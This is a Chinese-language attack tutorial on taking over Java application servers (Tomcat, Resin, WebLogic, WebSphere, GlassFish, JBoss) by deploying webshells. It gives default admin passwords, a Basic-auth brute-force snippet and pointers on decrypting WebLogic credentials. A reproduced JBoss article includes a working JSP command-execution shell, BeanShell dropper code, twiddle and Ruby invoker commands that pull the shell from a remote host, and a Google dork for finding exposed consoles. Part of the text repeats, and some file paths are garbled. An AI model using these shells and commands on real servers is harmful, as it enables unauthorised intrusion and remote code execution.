1、java应用服务器
Java应用服务器主要为应用程序提供运行环境,为组件提供服务。Java 的应用服务器很多,从功能上分为两类:JSP 服务器和 Java EE 服务器。
1.1 常见的Server概述
常见的Java服务器:Tomcat、Weblogic、JBoss、GlassFish、Jetty、Resin、IBM Websphere、Bejy Tiger、Geronimo、Jonas、Jrun、Orion、TongWeb、BES Application Server、ColdFusion、Apusic Application Server、Sun Application Server 、Oracle9i/AS、Sun Java System Application Server。
Myeclipse比较方便的配置各式各样的Server,一般只要简单的选择下Server的目录就行了。
1、2 构建WebShell war文件
1、打开Myeclipse新建Web项目
2、把jsp放到WebRoot目录下
3、导出项目为war文件
2.2 Tomcat默认配置
1、tomcat-users.xml
Tomcat5默认配置了两个角色:tomcat、role1。其中帐号为both、tomcat、role1的默认密码都是tomcat。不过都不具备直接部署应用的权限,默认需要有manager权限才能够直接部署war包,Tomcat5默认需要安装Administration Web Application。Tomcat6默认没有配置任何用户以及角色,没办法用默认帐号登录。
配置详解: http://tomcat.apache.org/tomcat- ... o.html#Introduction
2、context.xml
Tomcat的上下文,一般情况下如果用Tomcat的自身的数据源多在这里配置。找到数据源即可用对应的帐号密码去连接数据库。
<Context>
<WatchedResource>WEB-INF/web.xml</WatchedResource>
<Resource name="jdbc/u3" auth="Container" type="javax.sql.DataSource"
maxActive="100" maxIdle="30" maxWait="10000"
username="xxxxx" password="xxxx" driverClassName="com.mysql.jdbc.Driver"
url="jdbc:mysql://192.168.0.xxx:3306/xxx?autoReconnect=true"/>
< /Context>
3、server.xml
Server这个配置文件价值非常高,通常的访问端口、域名绑定和数据源可以在这里找到,如果想知道找到域名对应的目录可以读取这个配置文件。如果有用Https,其配置也在这里面能够找到。
4、web.xml
web.xml之前讲MVC的时候有提到过,项目初始化的时候会去调用这个配置文件这个文件一般很少有人动但是不要忽略其重要性,修改web.xml可以做某些YD+BT的事情。
Tomcat口令爆破
Tomcat登录比较容易爆破,但是之前说过默认不对其做任何配置的时候爆破是无效的。
Tomcat的认证比较弱,Base64(用户名:密码)编码,请求:” /manager/html/”如果响应码不是401(未经授权:访问由于凭据无效被拒绝。)即登录成功。
conn.setRequestProperty("Authorization", "Basic " + new BASE64Encoder().encode((user + ":" + pass).getBytes()));
2.3 Tomcat获取WebShell
Tomcat后台部署war获取WebShell
登录tomcat后台: http://xxx.com/manager/html ,一般用WAR file to deploy就行了,Deploy directory or WAR file located on server这种很少用。
1>Deploy directory or WAR file located on server
Web应用的URL入口、XML配置文件对应路径、WAR文件或者该Web应用相对于/webapps目录的文件路径,然后单击 按钮,即可发布该Web应用,发布后在Application列表中即可看到该Web应用的信息。这种方式只能发布位于/webapps目录下的Web应用。
2>WAR file to deploy
选择需要发布的WAR文件,然后单击Deploy,即可发布该Web应用,发布后在Application列表中即可看到该Web应用的信息。这种方式可以发布位于任意目录下的Web应用。
其中,第二种方式实际上是把需要发布的WAR文件自动复制到/webapps目录下,所以上述两种方式发布的Web应用都可以通过在浏览器地址栏中输入http://localhost:8080/Web进行访问。
3、Resin
3.2 Resin默认配置
1、resin.conf和resin.xml
Tomcat和Rsin的核心配置文件都在conf目录下,Resin3.1.x 默认是resin.conf而4.0.x默认是resin.xml。resin.conf/resin.xml是Resin最主要配置文件,类似Tomcat的server.xml。
1>数据源:
第一节的时候有谈到resin数据源就是位于这个文件,搜索database(位于server标签内)即可定位到具体的配置信息。
2>域名绑定
搜索host即可定位到具体的域名配置,其中的root-directory是域名绑定的对应路径。很容易就能够找到域名绑定的目录了。
<host id="javaweb.org" root-directory=".">
<host-alias-regexp>^([^/]*).javaweb.org</host-alias-regexp>
<web-app id="/" root-directory="D:/web/xxxx/xxxx"/>
< /host>
3.3 Resin默认安全策略
1>管理后台访问权限
Resin比较BT的是默认仅允许本机访问管理后台,这是因为在resin.conf当中默认配置禁止了外部IP请求后台。<resin:set var="resin_admin_external" value="false"/>修改为true外部才能够访问。
2>Resin后台管理密码
Resin的管理员密码需要手动配置,在resin.conf/resin.xml当中搜索management。即可找到不过需要注意的是Resin的密码默认是加密的,密文是在登录页自行生成。比如admin加密后的密文大概会是:yCGkvrQHY7K8qtlHsgJ6zg== 看起来仅是base64编码不过不只是admin默认的Base64编码是:YWRtaW4= Resin,翻了半天Resin终于在文档里面找到了: http://www.caucho.com/resin-3.1/doc/resin-security.xtp
虽说是MD5+Base64加密但是怎么看都有点不对,下载Resin源码找到加密算法:
package com.caucho.server.security.PasswordDigest
这加密已经没法反解了,所以就算找到Resin的密码配置文件应该也没法破解登录密码。事实上Resin3的管理后台并没有其他Server(相对JBOSS和Weblogic)那么丰富。而Resin4的管理后台看上去更加有趣。
Resin4的加密方式和Resin3还不一样改成了SSHA:
admin_user : admin
admin_password : {SSHA}XwNZqf8vxNt5BJKIGyKT6WMBGxV5OeIi
详情: http://www.caucho.com/resin-4.0/admin/security.xtp
3.4 Resin获取WebShell
As of Resin 4.0.0, it is now possible to deploy web applications remotely to a shared repository that is distributed across the cluster. This feature allows you to deploy once to any triad server and have the application be updated automatically across the entire cluster. When a new dynamic server joins the cluster, the triad will populate it with these applications as well.
Web Deploy war文件大概是从4.0.0开始支持的,不过想要在Web deploy一个应用也不是一件简单的事情,首先得先进入后台。然后还得以Https方式访问。不过命令行下部署就没那没法麻烦。Resin3得手动配置web-app-deploy。 最简单的但又不爽办法就是想办法把war文件上传到resin-pro-3.1.13webapps目录下,会自动部署(就算Resin已启动也会自动部署,不影响已部署的应用)。
Resin3部署详情: http://www.caucho.com/resin-3.1/doc/webapp-deploy.xtp
Resin4部署War文件详情: http://www.caucho.com/resin-4.0/admin/deploy.xtp
Resin4进入后台后选择Deploy,不过还得用SSL方式请求。Resin要走一个”非加密通道”。
To deploy an application remotely:
1. log into the resin-admin console on any triad server. Make sure you are connecting over SSL, as this feature is not available over a non-encrypted channel.
2. Browse to the "webapp" tab of the resin-admin server and at the bottom of the page, enter the virtual host, URL, and local .war file specifying the web application, then press "Deploy".
3. The application should now be deployed on the server. In a few moments, all the servers in the cluster will have the webapp.
Resin4敢不敢再没节操点?默认HTTPS是没有开的。需要手动去打开: conf esin.properties
# https : 8443 默认8443端口是关闭的,取消这一行的注释才能够使用HTTPS方式访问后台才能够Web Deploy war。
部署成功访问: http://localhost:8080/GetShell/Customize.jsp 即可获取WebShell。
4、Weblogic
Weblogic默认端口是7001,Weblogic10g-12c默认的管理后台是:http://localhost:7001/console Weblogic10 以下默认后台地址是: http://192.168.80.1:7001/console/login/LoginForm.jsp ,管理帐号是在建立Weblogic域的时候设置的。
Weblogic控制台:
Weblogic10以下默认管理帐号:weblogic密码:weblogic。关于Weblogic10++的故事还得从建域开始,默认安装完Weblogic后需要建立一个域。
WebLogic中的"域"?
域环境下可以多个 WebLogic Server或者WebLogic Server 群集。域是由单个管理服务器管理的 WebLogic Server实例的集合。 Weblogic10++域默认是安装完成后由用户创建。帐号密码也在创建域的时候设置,所以这里并不存在默认密码。当一个域创建完成后配置文件和Web应用在:Weblogic12user_projectsdomains”域名”。
1、Weblogic默认密码文件:
Weblogic 9采用的3DES(三重数据加密算法)加密方式,Weblogic 9默认的管理密码配置文件位于:
weblogic_9weblogic92samplesdomainswl_serverserversexamplesServersecurityoot.properties
boot.properties:
# Generated by Configuration Wizard on Sun Sep 08 15:43:13 GMT 2013
username={3DES}fy709SQ4pCHAFk+lIxiWfw==
password={3DES}fy709SQ4pCHAFk+lIxiWfw==
Weblogic 12c采用了AES对称加密方式,但是AES的key并不在这文件里面。默认的管理密码文件存放于:
Weblogic12user_projectsdomainsase_domainserversAdminServersecurity boot.properties (base_domain是默认的”域名”)。
boot.properties:
# Generated by Configuration Wizard on Tue Jul 23 00:07:09 CST 2013
username={AES}PsGXATVgbLsBrCA8hbaKjjA91yNDCK78Z84fGA/pTJE=
password={AES}Z44CPAl39VlytFk1I5HUCEFyFZ1LlmwqAePuJCwrwjI=
怎样解密Weblogic密码?
Weblogic 12c:
Weblogic12user_projectsdomainsase_domainsecuritySerializedSystemIni.dat
Weblogic 9:
weblogic_9weblogic92samplesdomainswl_serversecuritySerializedSystemIni.dat
解密详情:
http://drops.wooyun.org/tips/349 、 http://www.blogjava.net/midea0978/archive/2006/09/07/68223.html
2、Weblogic数据源(JNDI)
Weblogic如果有配置数据源,那么默认数据源配置文件应该在:
Weblogic12user_projectsdomainsase_domainconfigconfig.xml
4.3 Weblogic获取Webshell
Weblogic 9 GetShell:
http://drops.wooyun.org/tips/402
6、Websphere
Websphere8.5登录页面:
https://localhost:9043/ibm/console/logon.jsp
Websphere6-7默认控制台地址也是:
http://localhost:9043/ibm/console,此处用admin登录即可。
6.3 Websphere GetShell
本地只安装了8.5测试,Websphere安装的确非常坑非常麻烦。不过Google HACK到了其余两个版本Websphere6和Websphere7。测试发现Websphere GetShell一样很简单,只是比较麻烦,一般情况直接默认配置Next就行了。Websphere7和Websphere8 GetShell基本一模一样。
Websphere6 GetShell:
需要注意的是Websphere6默认支持的Web应用是2.3(web.xml配置的web-app_2_3.dtd)直接上2.5是不行的,请勿霸王硬上弓。其次是在完成部署后记得保存啊亲,不然无法生效。
Websphere8.5 GetShell:
部署的时候记得写上下文名称哦,不让无法请求到Shell。
7、GlassFish
7.2 GlassFish 默认配置
默认Web控制后台:
http://localhost:4848
默认管理密码:
GlassFish2默认帐号admin密码adminadmin 。
GlassFish3、4 如果管理员不设置帐号本地会自动登录,但是远程访问会提示配置错误。
Configuration Error
Secure Admin must be enabled to access the DAS remotely.
默认端口:
使用Admin的端口 4848。
使用HTTP Instance的端口 8080。
使用JMS的端口 7676。
使用IIOP的端口 3700。
使用HTTP_SSL的端口 8181。
使用IIOP_SSL的端口 3820。
使用IIOP_MUTUALAUTH的端口 3920。
使用JMX_ADMIN的端口 8686。
使用OSGI_SHELL的默认端口 6666。
使用JAVA_DEBUGGER的默认端口 9009。
7.3 GlassFish GetShell
Jboss: http://drops.wooyun.org/papers/178
JBoss应用服务器(JBoss AS)是一个被广泛使用的开源Java应用服务器。
它是JBoss企业中间件(JEMS)的一部分,并且经常在大型企业中使用。
因为这个软件是高度模块化和松耦合的,导致了它很很复杂,同时也使它易成为攻击者的目标。
本文从攻击者的角度来看,指出JBoss应用服务器存在的潜在风险,并结合例子如何实现如何在JBoss应用服务器上执行任意代码。
0x01 JBoss概述 JBoss应用服务器基于Java企业版1.4,并可以在应用在非常多操作系统中,包括Linux,FreeBSD和Windows中,只要操作系统中安装了Java虚拟机。
JBoss应用服务架构
Java管理扩展(JMX) Java管理扩展(JMX)是一个监控管理Java应用程序的标准化架构,JMX分为三层:
JMX架构
设备层(Instrumentation Level):主要定义了信息模型。在JMX中,各种管理对象以管理构件的形式存在,需要管理时,向MBean服务器进行注册。该层还定义了通知机制以及一些辅助元数据类。
代理层(Agent Level):主要定义了各种服务以及通信模型。该层的核心是一个MBean服务器,所有的管理构件都需要向它注册,才能被管理。注册在MBean服务器上管理构件并不直接和远程应用程序进行通信,它们通过协议适配器和连接器进行通信。而协议适配器和连接器也以管理构件的形式向MBean服务器注册才能提供相应的服务。
分布服务层(Distributed Service Level):主要定义了能对代理层进行操作的管理接口和构件,这样管理者就可以操作代理。然而,当前的JMX规范并没有给出这一层的具体规范。
JMX Invoker Invokers允许客户端应用程序发送任意协议的JMX请求到服务端。
这些调用都用过MBean服务器发送到响应的MBean服务。
传输机制都是透明的,并且可以使用任意的协议如:HTTP,SOAP2或JRMP3。
Deployer架构 攻击者对JBoss应用服务器中的Deployers模块特别感兴趣。
他们被用来部署不同的组成部分。
本文当中重点要将的安装组件:
JAR(Java ARchives):JAR 文件格式以流行的 ZIP 文件格式为基础。与 ZIP 文件不同的是,JAR 文件不仅用于压缩和发布,而且还用于部署和封装库、组件和插件程序,并可被像编译器和 JVM 这样的工具直接使用。在 JAR 中包含特殊的文件,如 manifests 和部署描述符,用来指示工具如何处理特定的 JAR。
WAR(Web ARchives):WAR文件是JAR文件包含一个Web应用程序的组件,与Java ServerPages(JSP),Java类,静态web页面等类似。
BSH(BeanSHell scripts):BeanShell是Java脚本语言,BeanShell脚本使用Java语法,运行在JRE上。
最重要的JBoss应用服务器deployer是MainDeployer。它是部署组件的主要入口点。
传递给MainDeployer的部署组件的路径是一个URL形式:
org.jboss.deployment.MainDeployer.deploy(String urlspec)
MainDeployer会下载对象,并决定使用什么样的SubDeployer转发。
根据组件的类型,SubDeployer(例如:JarDeployer,SarDeployer等)接受对象进行安装。
为了方便部署,可以使用UrlDeploymentScanner,它同样获取一个URL作为参数:
org.jboss.deployment.scanner.URLDeploymentScanner.addURL(String urlspec)
传入的URL会被定期的检查是否有新的安装或更改。
这就是JBoss应用服务器如何实现热部署的,有新的或者更改的组件会被自动的部署。
0x02 攻击
WAR文件 最简单的在JBoss应用服务器上运行自己的代码是部署一个组件,JBoss可以通过HTTP安装组件。
WAR文件包需要在WEB-INF目录下含一个web.xml文件,在实际的应用程序代码目录之外。
这是一个描述文件,描述了在什么URL将在之后的应用程序中发现。
WAR文件可以用Java的SDK jar命令创建:
$ jar cvf redteam.war WEB-INF redteam.jsp
redteam.war的结构目录:
|-- META-INF| -- MANIFEST.MF|-- WEB-INF| -- web.xml -- redteam.jsp
META-INF/MANIFEST.MF是用jar创建文件时自动创建的,包含JAR的信息,例如:应用程序的主入口点(需要调用的类)或者需要什么额外的类。这里生成的文件中没有什么特别的信息,仅包含一些基本信息:
Manifest-Version: 1.0 Created-By: 1.6.0_10 (Sun Microsystems Inc.)
WEB-INF/web.xml文件必须手动创建,它包含有关Web应用程序的信息,例如JSP文件,或者更详细的应用描述信息,如果发生错误,使用什么图标显示或者错误页面的名称等
<?xml version="1.0" ?><web-app xmlns="http://java.sun.com/xml/ns/j2ee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd " version="2.4"> <servlet> <servlet-name>RedTeam Shell</servlet-name> <jsp-file>/redteam.jsp</jsp-file> </servlet></web-app>
redteam的内容:
<%@ page import="java.util.*,java.io.*"%><%if (request.getParameter("cmd") != null) { String cmd = request.getParameter("cmd"); Process p = Runtime.getRuntime().exec(cmd); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine();} }%>
HTTP请求:
/redteam.jsp?cmd=ls
将会列出当前目录所有文件,命令执行后的结果会通过如下代码返回来:
while ( disr != null ) { out.println(disr); disr = dis.readLine();}
JMX Console JMX控制台允许通过web浏览器与JBoss应用服务器直接互动的组件。
它可以方便的管理JBoss服务器,MBean的属性与方法可以直接调用,只要参数中没有复杂的参数类型。
JMX控制台默认界面
这个通常是攻击者第一个目标。
Server- 和ServerInfo-MBean
MBeans的属性
jboss.system:type=Serverjboss.system:type=ServerInfo
展现了JBoss应用服务器与主机系统的信息,包含Java虚拟机以及操作系统的类型版本信息。
MBean的属性
JMX控制台对MBeans可读可操作,不仅包含JBoss应用服务器本身的信息,同时包含主机信息,这些有助于进一步攻击。
MBean的shutdown()方法可以关闭JBoss应用服务器,未授权的JMX接口可以导致拒绝服务攻击。
redteam.war安装 MainDeployer的方法属性可以在JMX控制台中的jboss.system中调用。
deploy()方法可以由一个URL中一个参数调用,URL指向WAR文件,需要是服务器能够访问到的地址。
当invoke按钮被点击时,JBoss应用服务器会下载WAR文件并安装它,之后,就可以执行shell命令了
deploy()方法
JBoss应用程序执行ls -l命令
RMI: 远程方法调用 通常JMX控制台保护方法是加一个密码保护。
然而这不是访问JBoss应用服务器组件的唯一方式,JBoss应用服务器经常与客户端程序接口相互调用,Java远程方法调用(RMI)也发挥重要作用。
使用RMI,本地应用程序可以访问远程对象,并可以调用它们的方法。客户端与服务器之间的通信是透明的。
JNDI(Java Naming and Directory Interface)是一个应用程序设计的API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口,类似JDBC都是构建在抽象层上。
JNDI可访问的现有的目录及服务有:
DNS、XNam 、Novell目录服务、LDAP(Lightweight Directory Access Protocol轻型目录访问协议)、 CORBA对象服务、文件系统、Windows XP/2000/NT/Me/9x的注册表、RMI、DSML v1&v2、NIS。
通过RMI访问MBean RMI接口默认凯奇在端口4444上,JNDI接口默认开启在1098和1099上。
与JBoss应用服务器RMI通信,可以使用专门的Java程序。更简单的方式是使用twiddle,包括JBoss应用服务器的安装。
$ sh jboss-4.2.3.GA/bin/twiddle.sh -hA JMX client to ’twiddle’ with a remote JBoss server.usage: twiddle.sh [options] <command> [command_arguments]options: -h, --help Show this help message --help-commands Show a list of commands -H=<command> Show command specific help-c=command.properties Specify the command.properties file to use-D<name>[=<value>] Set a system property-- Stop procession options-s, --server=<url> The JNDI URL of the remote server-a, --adapter=<name> The JNDI name of the RMI adapter to user-u, --user=<name> Specify the username for authentication-p, --password=<name> Specify the password for authentication-q, --quiet Be somewhat more quiet
有了twiddle,就用可用命令行通过RMI调用JBoss应用服务器的MBeans。Windows下是twiddle.bat,Linux下是twiddle.sh来启动twiddle。类似于JMX控制台,MBEAN的属性可读可改,并且可以调用其方法。
显示MBean服务器的信息
$ ./twiddle.sh -s scribus get jboss.system:type=ServerInfoActiveThreadCount=50AvailableProcessors=1OSArch=amd64MaxMemory=518979584HostAddress=127.0.1.1JavaVersion=1.6.0_06OSVersion=2.6.24-19-serverJavaVendor=Sun Microsystems Inc.TotalMemory=129957888ActiveThreadGroupCount=7OSName=LinuxFreeMemory=72958384HostName=scribusJavaVMVersion=10.0-b22JavaVMVendor=Sun Microsystems Inc.JavaVMName=Java HotSpot(TM) 64-Bit Server VM
安装redteam.war 根据twiddle的帮助利用deploy()方法安装war文件。
$ ./twiddle.sh -s scribus invoke jboss.system:service=MainDeployer deploy http://www.redteam-pentesting.de/redteam.war
通过下面的URL访问shell:
http://scribus:8080/redteam/redteam-shell.jsp
BSHDeployer 利用RMI攻击需要JBoss应用服务器能够访问远程HTTP服务器。
然而在很多配置中,防火墙不允许JBoss服务器对外发出连接请求:
为了能够在JBoss服务器上安装redteam.war,这个文件需要放在本地。
虽然JBoss不允许直接直接上传文件,但是有BeanShellDeployer,我们可以在远程服务器上创建任意文件。
BeanShell BeanShell是一种运行在JRE上的脚本语言,该语言支持常规的Java语法。可以很快写完,并且不需要编译。
BSHDeployer JBoss服务器中BSHDeployer可以部署BeanShell脚本,它会安装后自动执行。
利用BSHDeployer安装的方法是:
createScriptDeployment(String bshScript, String scriptName)
BeanShell脚本 可以用下面的BeanShell脚本实现把redteam.war放到JBoss服务器上。
import java.io.FileOutputStream;import sun.misc.BASE64Decoder;// Base64 encoded redteam.warString val = "UEsDBBQACA[...]AAAAA";BASE64Decoder decoder = new BASE64Decoder();byte[] byteval = decoder.decodeBuffer(val);FileOutputStream fs = new FileOutputStream("/tmp/redteam.war");fs.write(byteval);fs.close();
变量val中是redteam.war文件的base64编码后的字符串,脚本在tmp目录下生成redteam.war文件,Windows中可以填写C:WINDOWSTEMP。
安装redteam.war文件 利用twiddle,可以使用DSHDeployer的createScriptDeployement()方法:
$ ./twiddle.sh -s scribus invoke jboss.deployer:service=BSHDeployer createScriptDeployment "‘cat redteam.bsh‘" redteam.bsh
tedteam.bsh包含上面的BeanShell脚本,调用成功后JBoss服务器返回BeanShell创建的临时文件地址:
file:/tmp/redteam.bsh55918.bsh
当BeanShell脚本执行部署后,会创建/tmp/redteam.war文件,现在就可以通过调用本地文件来部署了:
$ ./twiddle.sh -s scribus invoke jboss.system:service=MainDeployer deploy file:/tmp/redteam.war
之后就可以访问redteam-shell.jsp来执行命令了。
Web Console Invoker 通过JMX控制台与RMI来控制JBoss服务器是最常用的方法。
除了这些还有更隐蔽的接口,其中之一就是Web控制台中使用JMXInvoker。
Web控制台 Web控制台与JMX控制台类似,也可以通过浏览器访问。
Web控制台的默认界面:
如果JMX控制台有密码保护的话,是不可以通过Web控制台访问MBean的函数的,需要登陆后才能访问。
Web控制台JMX Invoker Web控制台除了可以看到组建的梳妆接口与JBoss服务器信息外,还可监视MBean属性的实时变化。
访问URL:
http://$hostname/web-console/Invoker
这个Invoker其实就是JMX Invoker,而不局限于Web控制台提供的功能。
默认情况下,访问是不受限制的,所以攻击者可以用它来发送任意的JMX命令到JBoss服务器。
安装redteam.war 用Web控制台的Invoker安装redteam.war文件。
webconsole_invoker.rb可以直接调用Web控制的JMX Invoker,使用的Java类是:org.jboss.console.remote.Util
Util.class文件属于JBoss服务器的JAR文件:console-mgr-classes.jar,它提供的方法:
public static Object invoke( java.net.URL externalURL, RemoteMBeanInvocation mi)public static Object getAttribute( java.net.URL externalURL, RemoteMBeanAttributeInvocation mi)
通过Web控制台Invoker可以读取MBean的属性与invoke方法。
这个类可以通过webconsole_invoker.rb脚本使用,使用方法如下:
$ ./webconsole_invoker.rb -hUsage: ./webconsole_invoker.rb [options] MBean-u, --url URL The Invoker URL to use (default:http://localhost:8080/web-console/Invoker)-a, --get-attr ATTR Read an attribute of an MBean-i, --invoke METHOD invoke an MBean method-p, --invoke-params PARAMS MBean method params-s, --invoke-sigs SIGS MBean method signature-t, --test Test the script with the ServerInfo MBean-h, --help Show this helpExample usage:./webconsole_invoker.rb -a OSVersion jboss.system:type=ServerInfo./webconsole_invoker.rb -i listThreadDump jboss.system:type=ServerInfo./webconsole_invoker.rb -i listMemoryPools -p true -s boolean jboss.system:type=ServerInfo
通过如下命令利用BSHDeployer来安装redteam.war文件。
$ ./webconsole_invoker.rb -u http://scribus:8080/web-console/Invoker -i createScriptDeployment -s "java.lang.String","java.lang.String" -p "`cat redteam.bsh`",redteam.bsh jboss.deployer:service=BSHDeployer
在远程服务器上创建一个本地的redteam.war文件,现在第二部就可以利用MainDeployer安装/tmp/redteam.war文件了。
$ ./webconsole_invoker.rb -u http://scribus:8080/web-console/Invoker -i deploy -s "java.lang.String" -p "file:/tmp/redteam.war" jboss.system:service=MainDeployer
redteam-shell.jsp又可以访问了。
JMXInvokerServlet 之前提到过JBoss服务器允许任何协议访问MBean服务器,对于HTTP,JBoss提供HttpAdaptor。
默认安装中,HttpAdaptor是没有启用的,但是HttpAdaptor的JMX Invoker可以通过URL直接访问。
http://$hostname/invoker/JMXInvokerServlet
这个接口接受HTTP POST请求后,转发到MBean,因此与Web控制台Invoker类似,JMXInvokerServlet也可以发送任意的JMX调用到JBoss服务器。
创建MarshalledInvocation对象 JMXInvokerServlet的调用与Web控制台Invoker不兼容,所以不能使用webconsole_invoker.rb脚本调用。
MarshalledInvocation对象通常只在内部JBoss服务器上做交流。
httpinvoker.rb脚本与webconsole_invoker.rb脚本类似,但是需要JBoss服务器激活HttpAdaptor
$ ./httpinvoker.rb -hUsage: ./httpinvoker.rb [options] MBean-j, --jndi URL The JNDI URL to use (default:http://localhost:8080/invoker/JNDIFactory)-p, --adaptor URL The Adaptor URL to use (default:jmx/invoker/HttpAdaptor)-a, --get-attr ATTR Read an attribute of an MBean-i, --invoke METHOD invoke an MBe an method --invoke-params PARAMS MBean method params-s, --invoke-sigs SIGS MBean method signature-t, --test Test the script with the ServerInfo MBean-h, --help Show this help
安装tedteam.war 与webconsole_invoker.rb安装类似。
寻找JBoss服务器的方法:
inurl:"jmx-console/HtmlAdaptor"intitle:"Welcome to JBoss"
Java应用服务器主要为应用程序提供运行环境,为组件提供服务。Java 的应用服务器很多,从功能上分为两类:JSP 服务器和 Java EE 服务器。
1.1 常见的Server概述
常见的Java服务器:Tomcat、Weblogic、JBoss、GlassFish、Jetty、Resin、IBM Websphere、Bejy Tiger、Geronimo、Jonas、Jrun、Orion、TongWeb、BES Application Server、ColdFusion、Apusic Application Server、Sun Application Server 、Oracle9i/AS、Sun Java System Application Server。
Myeclipse比较方便的配置各式各样的Server,一般只要简单的选择下Server的目录就行了。
1、2 构建WebShell war文件
1、打开Myeclipse新建Web项目
2、把jsp放到WebRoot目录下
3、导出项目为war文件
2.2 Tomcat默认配置
1、tomcat-users.xml
Tomcat5默认配置了两个角色:tomcat、role1。其中帐号为both、tomcat、role1的默认密码都是tomcat。不过都不具备直接部署应用的权限,默认需要有manager权限才能够直接部署war包,Tomcat5默认需要安装Administration Web Application。Tomcat6默认没有配置任何用户以及角色,没办法用默认帐号登录。
配置详解: http://tomcat.apache.org/tomcat- ... o.html#Introduction
2、context.xml
Tomcat的上下文,一般情况下如果用Tomcat的自身的数据源多在这里配置。找到数据源即可用对应的帐号密码去连接数据库。
<Context>
<WatchedResource>WEB-INF/web.xml</WatchedResource>
<Resource name="jdbc/u3" auth="Container" type="javax.sql.DataSource"
maxActive="100" maxIdle="30" maxWait="10000"
username="xxxxx" password="xxxx" driverClassName="com.mysql.jdbc.Driver"
url="jdbc:mysql://192.168.0.xxx:3306/xxx?autoReconnect=true"/>
< /Context>
3、server.xml
Server这个配置文件价值非常高,通常的访问端口、域名绑定和数据源可以在这里找到,如果想知道找到域名对应的目录可以读取这个配置文件。如果有用Https,其配置也在这里面能够找到。
4、web.xml
web.xml之前讲MVC的时候有提到过,项目初始化的时候会去调用这个配置文件这个文件一般很少有人动但是不要忽略其重要性,修改web.xml可以做某些YD+BT的事情。
Tomcat口令爆破
Tomcat登录比较容易爆破,但是之前说过默认不对其做任何配置的时候爆破是无效的。
Tomcat的认证比较弱,Base64(用户名:密码)编码,请求:” /manager/html/”如果响应码不是401(未经授权:访问由于凭据无效被拒绝。)即登录成功。
conn.setRequestProperty("Authorization", "Basic " + new BASE64Encoder().encode((user + ":" + pass).getBytes()));
2.3 Tomcat获取WebShell
Tomcat后台部署war获取WebShell
登录tomcat后台: http://xxx.com/manager/html ,一般用WAR file to deploy就行了,Deploy directory or WAR file located on server这种很少用。
1>Deploy directory or WAR file located on server
Web应用的URL入口、XML配置文件对应路径、WAR文件或者该Web应用相对于/webapps目录的文件路径,然后单击 按钮,即可发布该Web应用,发布后在Application列表中即可看到该Web应用的信息。这种方式只能发布位于/webapps目录下的Web应用。
2>WAR file to deploy
选择需要发布的WAR文件,然后单击Deploy,即可发布该Web应用,发布后在Application列表中即可看到该Web应用的信息。这种方式可以发布位于任意目录下的Web应用。
其中,第二种方式实际上是把需要发布的WAR文件自动复制到/webapps目录下,所以上述两种方式发布的Web应用都可以通过在浏览器地址栏中输入http://localhost:8080/Web进行访问。
3、Resin
3.2 Resin默认配置
1、resin.conf和resin.xml
Tomcat和Rsin的核心配置文件都在conf目录下,Resin3.1.x 默认是resin.conf而4.0.x默认是resin.xml。resin.conf/resin.xml是Resin最主要配置文件,类似Tomcat的server.xml。
1>数据源:
第一节的时候有谈到resin数据源就是位于这个文件,搜索database(位于server标签内)即可定位到具体的配置信息。
2>域名绑定
搜索host即可定位到具体的域名配置,其中的root-directory是域名绑定的对应路径。很容易就能够找到域名绑定的目录了。
<host id="javaweb.org" root-directory=".">
<host-alias-regexp>^([^/]*).javaweb.org</host-alias-regexp>
<web-app id="/" root-directory="D:/web/xxxx/xxxx"/>
< /host>
3.3 Resin默认安全策略
1>管理后台访问权限
Resin比较BT的是默认仅允许本机访问管理后台,这是因为在resin.conf当中默认配置禁止了外部IP请求后台。<resin:set var="resin_admin_external" value="false"/>修改为true外部才能够访问。
2>Resin后台管理密码
Resin的管理员密码需要手动配置,在resin.conf/resin.xml当中搜索management。即可找到不过需要注意的是Resin的密码默认是加密的,密文是在登录页自行生成。比如admin加密后的密文大概会是:yCGkvrQHY7K8qtlHsgJ6zg== 看起来仅是base64编码不过不只是admin默认的Base64编码是:YWRtaW4= Resin,翻了半天Resin终于在文档里面找到了: http://www.caucho.com/resin-3.1/doc/resin-security.xtp
虽说是MD5+Base64加密但是怎么看都有点不对,下载Resin源码找到加密算法:
package com.caucho.server.security.PasswordDigest
这加密已经没法反解了,所以就算找到Resin的密码配置文件应该也没法破解登录密码。事实上Resin3的管理后台并没有其他Server(相对JBOSS和Weblogic)那么丰富。而Resin4的管理后台看上去更加有趣。
Resin4的加密方式和Resin3还不一样改成了SSHA:
admin_user : admin
admin_password : {SSHA}XwNZqf8vxNt5BJKIGyKT6WMBGxV5OeIi
详情: http://www.caucho.com/resin-4.0/admin/security.xtp
3.4 Resin获取WebShell
As of Resin 4.0.0, it is now possible to deploy web applications remotely to a shared repository that is distributed across the cluster. This feature allows you to deploy once to any triad server and have the application be updated automatically across the entire cluster. When a new dynamic server joins the cluster, the triad will populate it with these applications as well.
Web Deploy war文件大概是从4.0.0开始支持的,不过想要在Web deploy一个应用也不是一件简单的事情,首先得先进入后台。然后还得以Https方式访问。不过命令行下部署就没那没法麻烦。Resin3得手动配置web-app-deploy。 最简单的但又不爽办法就是想办法把war文件上传到resin-pro-3.1.13webapps目录下,会自动部署(就算Resin已启动也会自动部署,不影响已部署的应用)。
Resin3部署详情: http://www.caucho.com/resin-3.1/doc/webapp-deploy.xtp
Resin4部署War文件详情: http://www.caucho.com/resin-4.0/admin/deploy.xtp
Resin4进入后台后选择Deploy,不过还得用SSL方式请求。Resin要走一个”非加密通道”。
To deploy an application remotely:
1. log into the resin-admin console on any triad server. Make sure you are connecting over SSL, as this feature is not available over a non-encrypted channel.
2. Browse to the "webapp" tab of the resin-admin server and at the bottom of the page, enter the virtual host, URL, and local .war file specifying the web application, then press "Deploy".
3. The application should now be deployed on the server. In a few moments, all the servers in the cluster will have the webapp.
Resin4敢不敢再没节操点?默认HTTPS是没有开的。需要手动去打开: conf esin.properties
# https : 8443 默认8443端口是关闭的,取消这一行的注释才能够使用HTTPS方式访问后台才能够Web Deploy war。
部署成功访问: http://localhost:8080/GetShell/Customize.jsp 即可获取WebShell。
4、Weblogic
